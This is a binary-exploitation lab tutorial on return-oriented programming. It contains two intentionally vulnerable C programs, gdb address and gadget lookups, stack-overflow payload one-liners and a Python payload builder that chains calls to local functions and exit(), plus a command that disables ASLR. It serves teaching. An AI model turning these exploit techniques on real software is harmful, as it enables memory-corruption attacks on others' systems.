offensive security
ROP Chaining: Return Oriented Programming
The purpose of this lab is to familiarize with a binary exploitation technique called Return Oriented Programming (ROP), ROP chains / ROP gadgets. The technique is used to bypass Data Execution Protection (DEP).
Don't forget to disable the ASLR for this lab to work:
1
echo 0 > /proc/sys/kernel/randomize_va_space
Copied!

1st ROP Chain

Vulnerable Code

We wil exploit the following code in a program rop1a that is intentionally vulnerable with a classic stack-based overflow:
rop1a.c
1
#include <stdio.h>
2
#include <string.h>
3
4
void rop1()
5
{
6
printf("ROP 1!\n");
7
}
8
9
void rop2() {
10
printf("ROP 2!\n");
11
}
12
13
void rop3() {
14
printf("ROP 3!\n");
15
}
16
17
void vulnerable(char* string)
18
{
19
char buffer[100];
20
strcpy(buffer, string);
21
}
22
23
int main(int argc, char** argv)
24
{
25
vulnerable(argv[1]);
26
return 0;
27
}
Copied!
The above program starts executing at main(), which calls vulnerable() where the user supplied buffer will be copied into the variable buffer[100].
Note that there are 3 functions rop1, rop2 and rop3 that are never called during the normal program execution, but that's about to change and this is the purpose of this lab - we're going to exploit the stack-based overflow and force the program to call all those rop functions one after another.

Objective

We're going to exploit the classic stack-based overflow vulnerability in the function vulnerable in the above code to trigger the functions rop1(), rop2() and rop3() sequentially, that are otherwise not called during the vulnerable program's runtime. Additionally, after the rop3() function completes, we will make the program call the libc function exit(), so that after the exploit completes its job, the program exits gracefully rather than with a crash.
The sequence of called functions rop1() --> rop2() --> rop3() --> exit() forms a chain and this is where the term ROP chains come from.

Stack Layout

The key thing to understand with ROP chaining is the stack layout. In our case, the payload that we send to the vulnerable program needs to overflow the stack and populate it in such a way, that the exploited program calls our wanted functions in the following order:
  1. 1.
    rop1()
  2. 2.
    rop2()
  3. 3.
    rop3()
  4. 4.
    exit()
In other words, we need to ensure that the stack in our vulnerable program rop1a, when the vulnerable function completes and is about to execute the ret instruction to return to the caller function main, is organized like this:
We need to make sure the overflowed stack looks like this
If we think about the above graphic, we will realize that once the stack is overflowed, the following will happen when the vulnerable program continues its execution:
  1. 1.
    The vulnerable function will return/jump to the rop1(). Note that before we overflowed the stack, this would have been a return address back to the main function, to be precise - the return 0 statement in line 26 as seen in the Vulnerable Code secion;
  2. 2.
    Once rop1() completes, it will execute the ret instruction, which will pop the rop2() function address off the stack and jump to it;
  3. 3.
    Once rop2() completes, it will execute the ret instruction, which will pop the rop3() function address off the stack and jump to it;
  4. 4.
    Once rop3() completes, it will execute the ret instruction, which will pop the exit() function address off the stack and jump to it;
We will later confirm this with gdb in the Inspecting the Stack section.

Payload

Based on the above graphic and stack understanding so far, our payload should look something like this:
1
payload = AAAAs... + BBBB + &rop1 + &rop2 + &rop3 + &exit
Copied!
...or for easier cross-reference - using the same colours as those seen in the above stack layout diagram:
Payload structure visualized
Let's find out the values we need to populate our payload with. Compile our vulnerable program rop1a:
1
gcc -m32 -fno-stack-protector -z execstack rop1a.c -o rop1a
Copied!
Start debugging it with gdb-peda and put a breakpoint on main() and continue execution:
1
gdb rop1a
2
b main
3
c
Copied!
Now, let's find out addresses for our functions rop1, rop2, rop3 and exit:
1
gdb-peda$ p rop1
2
$1 = {<text variable, no debug info>} 0x565561a9 <rop1>
3
4
gdb-peda$ p rop2
5
$2 = {<text variable, no debug info>} 0x565561d4 <rop2>
6
7
gdb-peda$ p rop3
8
$3 = {<text variable, no debug info>} 0x565561ff <rop3>
9
10
gdb-peda$ p exit
11
$4 = {<text variable, no debug info>} 0xf7e02950 <exit>
Copied!
Below shows the function addresses in gdb:
Key function addresses to be used in the payload
Having found the function addreses, our payload visualization can now be updated like this:
Payload structure with ROP function addresses
The last thing we need to know is how many AAAAs we must send in to the vulnerable program before we can take over the EIP and overwrite the return address of the vulnerable function and point it to our first ROP chain function - rop1.
Below screenshot indicates that the offset of interest is 112 (0x70), or in other words, we need to send 112 A characters to smash the stack:
EIP offset
See below notes for more details on how to find the offset at which we can overwrite the vulnerable function's return address:
Knowing the EIP offset, we can now now visualize the full payload like this:
Payload structure with correct EIP offset and ROP function addresses

Exploit

We can now construct the full payload in python and send it to our vulnerable program rop1a like this:
1
./rop1a "$(python -c 'print "A"*108 + "BBBB" + "\xa9\x61\x55\x56" + "\xd4\x61\x55\x56" + "\xff\x61\x55\x56" + "\x50\x29\xe0\xf7"')"
Copied!
If we execute it, we can see thatrop1, rop2 and rop3 functions are called successfully as they each call their respective printf() statements:
1st ROP chain in action
Note how the program did not crash with some segfault - this is because rop3 called exit upon return. To re-inforce this understanding, we will see how that came to be in the below section.

Inspecting the Stack Layout

Let's explore the stack layout of the vulnerable program rop1a when the vulnerable() function gets exploited and is about to return after it completes executing - when the CPU is about to execute the ret instruction.
Below screenshot shows the initial diagram on the left, indicating how we needed the stack to look like during the exploitation and gdb screenshots on the right, that confirm we successfully built the required stack:
Stack layout during vulnerable function's execution
From the above screenshot, note the following key points:
  1. 1.
    vulnerable() function is about to execute the ret instruction at 0x56556254;
  2. 2.
    ret instruction will pop the top-most value from the stack, which is a memory address of the rop1() function and jump to it, this way kicking off our ROP chain execution.
Next, once rop1() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of rop2() and jump to it:
rop1 is about to return, pop the rop2 address from the stack and jump to it
Once rop2() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of rop3() and jump to it:
rop2 is about to return, pop the rop3 address from the stack and jump to it
Once rop3() is about to return, the ret instruction will pop the top-most value from the stack, which is a memory location of exit() and jump to it:
rop3 is about to return, pop the exit address from the stack and jump to it
This illustrates how we managed to build our first ROP chain by organizing the stack in such a way that forced the vulnerable program to call rop1, which upon return called rop2, which upon return called rop3, which upon return called exit:
1st ROP chain in action

2nd ROP Chain

Our first ROP chain called 4 functions and none of them were called with arguments. Let's build our second ROP chain that will call functions with some arguments and see how we need to build the stack this time around.

Vulnerable Code

We're going to re-use the same code, but modify it so that rop2 and rop3 functions will take 1 and 2 arguments respectively and will print them out accordingly when called:
rop1b.c
1
#include <stdio.h>
2
#include <string.h>
3
4
void rop1() {
5
printf("ROP 1!\n");
6
}
7
8
void rop2(int a) {
9
printf("ROP 2: %x!\n", a);
10
}
11
12
void rop3(int a, int b) {
13
printf("ROP 3: %x, %x!\n", a, b);
14
}
15
16
void vulnerable(char* string) {
17
char buffer[100];
18
strcpy(buffer, string);
19
}
20
21
int main(int argc, char** argv) {
22
vulnerable(argv[1]);
23
return 0;
24
}
Copied!

Objective

The objective is to subvert our vulnerable program rop1b and make it call functions rop1, rop2, rop3 and exit the same way we did it with our first ROP chain, however, this time rop2 function is declared as rop2(int a) and rop3 as rop3(int a, int b), meaning we will have to somehow (hint: using stack) pass 1 argument to rop2 and 2 arguments to rop3.

Stack Layout

Below shows what the stack needs to look like this time. Annotations explain the purpose of each memory address or value on the stack:
Required stack layout for our 2nd ROP chain
To re-inforce, stack for our second ROP chain has the following key differences when compared to the stack of the first ROP chain:
  1. 1.
    Stack contains arguments for functions rop2 and rop3;
  2. 2.
    Stack contains 2 additional memory addresses, called ROP gadgets:
    1. 1.
      pop ret - for popping off the arg1 argument that was passed to rop2 function and then jumping to rop3 (because ret instruction will pop the rop3 address off the stack that will be at the top once the arg1 is removed from the stack, and jump to it);
    2. 2.
      pop pop ret - for popping off the 2 arguments arg1 and arg2 (hence 2 pops) that were passed to the rop3 function and then jumpt to exit (because ret instruction will pop the exit address off the top of the stack that will be there after the 2 arguments are removed).

ROP Gadgets

  • ROP gadgets are sequences of CPU instructions that are already present in the program being exploited or its loaded shared libraries and can be used to execute almost any arbitrary code;
  • ROP gagdgets most often end with the ret instruction;
  • ROP gadgets bypass the DEP (NX bit protection), since there is no executable code being injected to and executed from the stack, instead existing executable code is used to achieve the same malicious intent.
In gdb-peda, we can find addresses of the 2 gadgets that we are interested in (popret for rop2 and pop2ret for rop3) by issuing the ropgadet command:
ropgadgets in rop1b vulnerable program
1
gdb-peda$ ropgadget
2
ret = 0x5655600a
3
popret = 0x5655601e
4
pop2ret = 0x5655630a
5
pop3ret = 0x56556309
6
pop4ret = 0x56556308
7
addesp_12 = 0x5655601b
8
addesp_16 = 0x565560fe
Copied!
To confirm that the rop gadget does what it says it will, we can inspect the instructions for the rop gadget popret = 0x5655601e and we will see that it indeed contains 2 CPU instrutions pop ebx & ret:
popret ROP gadget instructions

Payload

Now that we know how the stack should look like, let's build the payload for our second ROP chain.
First off, let's get addresses of our rop1, rop2, rop3 and the libc exit functions:
1
gdb-peda$ p rop1
2
$4 = {<text variable, no debug info>} 0x565561b9 <rop1>
3
gdb-peda$ p rop2
4
$5 = {<text variable, no debug info>} 0x565561e4 <rop2>
5
gdb-peda$ p rop3
6
$6 = {<text variable, no debug info>} 0x56556212 <rop3>
7
gdb-peda$ p exit
8
$7 = {<text variable, no debug info>} 0xf7e02950 <exit>
Copied!
rop1, rop2, rop3 and exit function addresses inside rop1b vulnerable program
Let's also note the popret and pop2ret gagdet addresses:
ROP gadget addresses for rop1b vulnerable program
Since we now know how the stack needs to look like and we have addresses for our functions and ROP gadgets, we can visualize our payload like this:
Visualized payload for the 2nd ROP chain

Exploit

We can now translate the above visualized payload to python like so:
1
./rop1b "$(python -c 'print "A"*108 + "BBBB" + "\xb9\x61\x55\x56" + "\xe4\x61\x55\x56" + "\x1e\x60\x55\x56" + "\xef\xbe\xef\xbe" + "\x12\x62\x55\x56" + "\x0a\x63\x55\x56" + "\xad\xde\xad\xde" + "\xd3\xc0\xd3\xc0" + "\x50\x29\xe0\xf7" ')"
Copied!
Below shows how the above payload is sent to the vulnerable program rop1b, that executes rop1, rop2 with argument 0xbeefbeef that gets printed out and rop3 with 2 arguments 0xdeaddead and 0xc0d3cod3 which too get printed and finally gracefully exits:
2nd ROP chain with arguments and rop gadgets works as expected

Inspecting the Stack Layout

To avoid repeating what we saw in the Stack Layout section for our first ROP chain, let's just see how the pop2ret ROP gadget works and how it affects the stack during execution, since that is the only difference worth mentioning:
Inspecting the stack layout
Note the following key points from the above gif:
  • We're on a breakpoint inside the rop3 function, where it's about to return by executing the ret instruction;
  • At the top of the stack, there's an address of a pop2ret ROP gadget with pop edi; pop ebp; ret instructions inside a libc shared library loaded by our vulnerable program;
  • 0xdeaddead and 0xc0d3c0d3 are on the stop of the stack, just below the pop2ret address;
  • Once the ret is executed, the code jumps to the said pop2ret ROP gagdet;
  • pop2ret instructions pop edi; pop ebp execute and 0xdeaddead and 0xc0d3c0d3 are popped from the stack;
  • Address of the libc exit() function is now on top of the stack;
  • Finally, ret instruction executes, which pops the exit() address from the stack and jumps to it, completing our second ROP chain execution and gracefully closing the vulnerable program.
We could have chosen to inspect the popret gadget and we would have seen a nearly identical behaviour to the one noted above, except that popret would have popped only one value from the stack before executing the ret instruction.

Useful Python

Little Endian Converter

Below is a useful python snippet that converts a given memory address, i.e 0x565561d4, to it's little-endian format, i.e \\xd4\\x61\\x55\\x56:
1
import struct
2
'\\x' + '\\x'.join(x.encode('hex') for x in struct.pack('I', 0x565561d4)).encode("utf-8")
3
'\\xd4\\x61\\x55\\x56'
Copied!

Payload Executor

Below shows an easy way to build the stack using struct.pack that does not require us to deal with little-endiannes when specifying memory addresses in the exploit:
1
#!/usr/bin/env python
2
import os
3
import struct
4
5
pop_ret = 0x5655601e
6
pop_pop_ret = 0x5655630a
7
rop1 = 0x565561b9
8
rop2 = 0x565561e4
9
rop3 = 0x56556212
10
exit = 0xf7e02950
11
12
# Build the stack
13
# Overflow
14
payload = "A"*108
15
payload += "BBBB"
16
17
# Address of rop1()
18
payload += struct.pack("I", rop1)
19
20
# Address of rop2(), address of pop ret and an argument for rop2()
21
payload += struct.pack("I", rop2)
22
payload += struct.pack("I", pop_ret)
23
payload += struct.pack("I", 0xbeefbeef)
24
25
# Address of rop3(), adress of pop pop ret, and arguments 1 and 2
26
payload += struct.pack("I", rop3)
27
payload += struct.pack("I", pop_pop_ret)
28
payload += struct.pack("I", 0xdeaddead)
29
payload += struct.pack("I", 0xc0dec0de)
30
31
# Address of exit()
32
payload += struct.pack("I", exit)
33
34
# Execute the full payload
35
os.system("./rop1b '" + payload + "'")
Copied!
Once the payload is constructed, we can execute it:
1
python payload.py
Copied!
ROP chains executed successfully

References

Introduction to return oriented programming (ROP)
https://www.ret2rop.com/2018/08/return-to-libc.html
www.ret2rop.com
ROP Like a PRO
Medium
FuzzySecurity | ExploitDev: Part 7
Interactive Beginner's Guide to ROP -- Vetle's HackShack
What is ROP - CTF 101
Tut06-1: Return-oriented Programming - CS6265: Information Security Lab
Last modified 1mo ago